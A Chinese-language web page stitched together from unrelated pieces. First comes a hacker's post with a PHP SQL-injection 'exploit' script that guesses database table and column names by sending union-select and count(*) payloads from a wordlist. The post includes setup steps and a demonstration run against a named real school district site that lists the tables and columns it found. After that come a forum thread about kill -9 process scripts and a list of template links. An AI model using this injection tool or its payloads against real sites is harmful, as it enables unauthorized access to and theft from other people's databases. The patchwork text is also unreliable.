突然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了一个php脚本用来猜表和列名的。脚本写的很简单,内容如下:

echo “\tUniversal Database tables explode exploit V0.1\n\n”;

echo “\t\tWritten by Mika[EST]\n\n”;

//$keyword=“Warning”;

$keyword=“error”;

switch($argc){

case 3:

$u=“ and (select count(*) from MIKA_NAME)>0”;

$dic=$argv[2];

break;

case 4:

$u=“ and 1=1 union select ”.implode(',',range(1,$argv[2])).“ from MIKA_NAME#”;

$dic=$argv[3];

break;

case 5:

if($argv[2]!=“-t”)

exit(“arguments Error”);

$u=“ and (select count(MIKA_NAME) from $argv[3])>0#”;

$dic=$argv[4];

break;

case 6:

if($argv[2]!=“-t” || $argv[4]<1)

exit(“arguments Error”);

if($argv[4]>=2){

$u=“ and 1=1 union select ”.'MIKA_NAME'.','.implode(',',range(2,$argv[4])).“ from $argv[3]#”;

}else{

$u=“ and 1=1 union select MIKA_NAME from $argv[3]#”;

}

$dic=$argv[5];

break;

default:

echo <<

Usage:$argv[0] [OPTIONS]

OPTIONS: number --->to indicate column number of a table during a union query

e.g:$argv[0] www.aaa.com/bbb.asp?ccc=56 3 mydict.txt

the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin

OPTIONS: -t [number] --->to explode column name of the

e.g:$argv[0] www.aaa.com/bbb.asp?ccc=56 -t admin mydict.txt

Attention:if you don't use [options] the program will use default mode to work.you can change it in the source code of this program.

USAGE;

die;

}

$old=$argv[1];

file_exists($dic) or exit(“dic file does not exist!\n”);

$words=file($dic);

$curl=curl_init;

curl_setopt($curl,CURLOPT_HEADER,0);

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

curl_setopt($curl,CURLOPT_PROXY,“127.0.0.1:8080”);

print “[+]Searching What you want...\n”;

foreach($words as $word){

//print $word;

if(preg_match(“/^\s$/”,$word)){

//print “blank”;

continue;

}

$url=str_replace('MIKA_NAME',trim($word),$u);

$url=$old.urlencode($url);

//$url=$old.$url;

curl_setopt($curl,CURLOPT_URL,$url);

//print “source url is:”.$url.“\n”;

$content=curl_exec($curl);

//$new=$content;

//print $content;

if(preg_match(“/$keyword/i”,$content)==0){

print “[*] FOUND:”.trim($word);

}

else{print “.”;}

}

?>

俺先解释一下吧:程序里用到的模块是curl,它用来获取网页内容是非常方便的。我的这个php是for windows的,所以里面集成了很多的模块。但是curl默认是不启用的,你需要开启它哦。方法很简单,去网上下载php最新版本的绿色版(不需要安装的,方便携带),然后将压缩包内的php.ini-recommended复制到系统目录(win2k是winnt目录,xp等的是windows目录)并将其改名为php.ini,然后用记事本打开,找到如下一行:

extension_dir =

把它的值设置成你自己的,比如把压缩包接压到了c:\php里,那么你需要把它设置成:

extension_dir = “c:\php\ext”

然后再继续找到下面这段:

; Windows Extensions

; Note that ODBC support is built in, so no dll is needed for it.

; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)

; extension folders as well as the separate PECL DLL download (PHP 5).

; Be sure to appropriately set the extension_dir directive.

;extension=php_mbstring.dll

;extension=php_bz2.dll

;extension=php_curl.dll

;extension=php_dba.dll

;extension=php_dbase.dll

;extension=php_exif.dll

;extension=php_fdf.dll

;extension=php_filepro.dll

;extension=php_gd2.dll

;extension=php_gettext.dll

;extension=php_ifx.dll

看到php_curl.dll了吗?把它前面的分号去掉就可以了,

然后保存一下,还没完呢,再去php的目录里找到这两个文件:

libeay32.dll

ssleay32.dll

把他们复制到system32目录里就OK了。很简单吧?然后在环境变量里设置一下你的php的路径,这样在任何目录里就可以直接调用php.exe进行解析了。安装其它模块的步骤也类似,俺就不多说了:-)

言归正传,你通过上面几步就可以使用curl模块了。程序用法很简单,比如有注入的url是这样的:www.aaa.com/bbb.asp?ccc=56,你的字典文件在当前目录mydict.txt。那么本程序的使用方法就是:

php explode.php www.aaa.com/bbb.asp?ccc=56 mydict.txt

需要注意的就是,由于这个程序本来就是俺自己用的,所以程序没有考虑很多东西。程序是根据页面返回的内容进行判断的,所以呢,你要首先自己手工获取一下,比如你可以这样:

www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)

或者

www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)

其中的mika520是一个不存在的表,这样返回的页面后你可以察看源代码,随便找一个正确页面中不存在的语句作为关键字(nbsi等的注入工具默认是用正确页面里的东西作为判断的,俺和它反着来:-),然后把程序代码中第4行的$keyword的值换成你的关键字就可以了。比如下面这个站吧:

www.elkhart.k12.in.us/content.php?id=157

由于是php的所以你得用第二种方式来猜,即需要使用联合查询,所以先判断注入点存在不存在,然后使用order by判断字段数,我在这里判断的是5个字段,判断好后就可以使用我的这个程序来猜了,结果如下:

F:\scripts\php\mine>php forcetb1.php www.elkhart.k12.in.us/content.php?id

=157 5 mydict.txt

Universal Database tables explode exploit V0.1

Written by Mika[EST]

[+]Searching What you want...

...[*] FOUND:structure..........................................................

看到了吗?找到了一个表,呵呵。再来看看字段:

F:\scripts\php\mine>php forcetb1.php www.elkhart.k12.in.us/content.php?id

=157 -t structure 5 temp.txt

Universal Database tables explode exploit V0.1

Written by Mika[EST]

[+]Searching What you want...

[*] FOUND:division......[*] FOUND:id.[*] FOUND:level.........[*] FOUND:title....

..[*] FOUND:content..[*] FOUND:parent_id.........

很简单吧?命令中的那个5就是你用order by猜出的字段数,换成实际中的就可以了。如果是access或者mssql的数据库,只要去掉那个字段数(即例子中的5)的参数就可以了。我就不多做演示了。

如果大家用得过程中出现问题可以自己去改代码,很简单的:-)

另外我这个程序默认是使用HTTP代理的,所以你需要修改这一行:

curl_setopt($curl,CURLOPT_PROXY,“127.0.0.1:8080”);

换成你的代理就好了,如果不需要代理那就直接注释掉好了。

其实猜嘛,关键还是看你的字典是不是够强大,你可以把你常见的字典组合一下就好了。比如NBSI和狂注幽灵等的字典拿过来,然后组成一个文件就是了。但是这两个字典有可能有很多重复的,为了节省不必要的猜解,需要去处重复的。我这里用php写了非常简单的程序可以帮助你去除重复行,如下:

if($argc!=2){

echo <<

\t\t Written By Mika[EST]\n

\t\tUsage: $argv[0] \n

INFO;

die;

}

file_exists($argv[1]) or exit(“$argv[1] dose not exists!”);

$txt_file=file($argv[1]);

$uniq_file=array_unique($txt_file);

$file=fopen($argv[1],“w”);

fwrite($file,implode(“”,$uniq_file));

fclose($file);

echo “unique done!”;

?>

用法非常简单,首先合并字典,比如,1.txt,2.txt,用copy命令即可:

F:\scripts\php\mine>copy 1.txt+2.txt 3.txt

1.txt

2.txt

已复制 1 个文件。

F:\scripts\php\mine>dir 3.txt

驱动器 F 中的卷是 LIB

卷的序列号是 CC4F-A32B

F:\scripts\php\mine 的目录

-07-13 18:50 1,474 3.txt

1 个文件 1,474 字节

0 个目录 2,166,566,912 可用字节

然后用我的这个程序处理一下:

F:\scripts\php\mine>php uniq.php 3.txt

unique done!

F:\scripts\php\mine>dir 3.txt

驱动器 F 中的卷是 LIB

卷的序列号是 CC4F-A32B

F:\scripts\php\mine 的目录

2007-07-13 18:52 1,288 3.txt

1 个文件 1,288 字节

0 个目录 2,166,566,912 可用字节

注意看文件的大小哦,嘿嘿~~~简单吧?;-)

好了,累死我了~~~到这吧,先到这里吧~~~休息~~休息~~~

我是女生,嘿嘿,快乐的女生~~~~~~

篇10:请教:怎样编写杀死HPUnix的一个进程的脚本!!Windows系统

coolscplayer 回复于:2003-08-22 12:09:20 wh_pd=1 while[$wh_pd-eq1] do killid=`ps-eaf|grepurp|grep-vgrep|awk'{print$2}` if[-z$killid] then cotinue else kill-9$killid wh_pd=0 fi done williamCU 回复于:2003-09-01 20:21:06 楼上这么复杂? kill$

coolscplayer 回复于:2003-08-22 12:09:20wh_pd=1

while [ $wh_pd -eq 1 ]

do

killid=`ps -eaf|grep urp|grep -v grep|awk '{print $2}`

if [ -z $killid ]

then

cotinue

else

kill -9 $killid

wh_pd=0

fi

done

williamCU 回复于:2003-09-01 20:21:06楼上这么复杂?

kill $(ps -ef|grep myproc|grep -v grep|cut -c 10-14)

以上kill一个进程名为myproc的进程,

albert 回复于:2003-09-01 20:41:09[quote:84ac1a5999=“williamCU”]楼上这么复杂?

kill $(ps -ef|grep myproc|grep -v grep|cut -c 10-14)

以上kill一个进程名为myproc的进程。[/quote:84ac1a5999]

如果还有一个进程叫myproc1呢? 呵呵。

williamCU 回复于:2003-09-01 21:39:57楼上的楼上也不能啊!呵呵呵。。

williamCU 回复于:2003-09-02 10:29:15kill $(ps -ef|grep myproc|grep -v grep|cut -c 10-14)

可能我没说清楚,

这条语句可以kill掉所有包含myproc字样的进程,

可以达到coolscplayer 的那个script的功能。

我说的不能,是指不能杀死任何进程,但可以带参数来实现:

将以上写成一个名为mykill的脚本:

vi mykill

kill $(ps -ef|grep $1|grep -v grep|cut -c 10-14)

chmod 755 mykill

后台运行3个sleep进程:

#sleep 10000&

#sleep 10000&

#sleep 10000&

运行带参数的脚本:

#mykill sleep

[3] + Terminated               sleep 10000&

[2] + Terminated               sleep 10000&

[1] + Terminated               sleep 10000&

zzl1997 回复于:2003-09-03 11:40:23我也来写一个.

#!/usr/bin/sh

echo “Which process do you wantto kill:”

read P

ps -ef |grep “$P”

echo

echo “Please chioces the process do you want to killed:”

read K

kill -9 $K

这个对于前后台作业全可以.

我先前写了一个脚本,如下:

#!/usr/bin/sh

#The sprict is used to kill the process

echo “Which process do you want to kill:”

read NAME

A=`ps -ef |grep “$NAME” |cut -b 10-14 |wc -l`

if [ $A = 1 ]

then

kill -9 $A

else

if [ $A -gt 1 ]

then

echo “`$A >/zzl1997;more /zzl1997`”

else

echo “`$A 2>/zzl1997;more /zzl1997`”

fi

我发现每次执行这个脚本,A就会产生一个与新进程,使得NAME得进程数肯定不为1,执行总是不能成功,

所以写了那个简单得,不会很傻吧!

zzl1997 回复于:2003-09-15 20:07:38大家为何不继续了呢?

Minsic 回复于:2003-09-16 12:06:06[quote:c0ffbbfa5f=“williamCU”]楼上这么复杂?

kill $(ps -ef|grep myproc|grep -v grep|cut -c 10-14)

以上kill一个进程名为myproc的进程。[/quote:c0ffbbfa5f]

人用的shell要是不支持$()这样的写法呢?

williamCU 回复于:2003-09-16 12:56:37[quote:6bbb22ded7=“Minsic”]

人用的shell要是不支持$()这样的写法呢?[/quote:6bbb22ded7]

有道理

C shell好像不支持.

Minsic 回复于:2003-09-16 15:11:08[quote:295b4ee2f9=“albert”]

如果还有一个进程叫myproc1呢? 呵呵。[/quote:295b4ee2f9]

ps -ef|awk '$9~/^myproc$/{print $2}'

这样应该可以从一定程度上避免这种现象,不过如果myproc本身是由其他进程来调用的话,那另当别论了,或许$9应该换成$10?

大头虎 回复于:2003-11-14 20:18:49ps -ef|grep $Name|grep -v grep|awk '$NF==“$Name” {print “kill -9 ”$2}'|/bin/sh

原文转自:www.ltesting.net

如何用 Shell 脚本编写递归程序Unix系统

脚本范文

童话故事编写

编写工作计划

真情编写母亲节祝福短信-祝妈妈母亲节快乐

小学课件脚本

课件制作脚本

舞蹈脚本范文

广告文字脚本范文

5分钟宣传片脚本模板

母亲节脚本编写范文(精选10篇)

欢迎下载DOC格式的母亲节脚本编写范文,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档